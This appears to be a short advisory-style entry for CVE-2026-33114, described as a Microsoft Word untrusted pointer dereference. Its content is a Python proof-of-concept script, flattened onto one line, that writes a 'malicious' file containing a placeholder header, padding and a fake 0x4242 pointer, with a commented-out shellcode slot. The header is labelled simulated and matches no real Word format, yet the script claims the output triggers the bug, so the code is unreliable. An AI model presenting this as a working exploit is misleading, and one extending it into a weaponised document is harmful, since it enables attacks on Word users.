CVE-2026-33114 Microsoft Office Word不受信任指针解引用漏洞

import struct # PoC for CVE-2026-33114 (Untrusted Pointer Dereference) # This script generates a malicious file structure to demonstrate the vulnerability trigger. def create_exploit_file(filename): with open(filename, 'wb') as f: # 1. File Header (Simulated) f.write(b'DOC_HEADER_MAGIC') # 2. Padding to reach the vulnerable offset f.write(b'\x00' * 0x100) # 3. Malicious Pointer (The untrusted input) # In a real scenario, this address would point to controlled memory or a ROP gadget fake_pointer = 0x4242424242424242 # 0x42 = 'B' in ASCII, causes crash on dereference print(f"[*] Crafting malicious pointer: {hex(fake_pointer)}") f.write(struct.pack('<Q', fake_pointer)) # 4. Optional: Payload placeholder # If the attacker controls the memory at fake_pointer, shellcode goes here # payload = b"\x90" * 100 # NOP sled # f.write(payload) print(f"[+] Exploit file '{filename}' generated successfully.") print("[*] Opening this file in a vulnerable Word version should trigger the dereference fault.") if __name__ == '__main__': create_exploit_file('cve_2026_33114_poc.doc')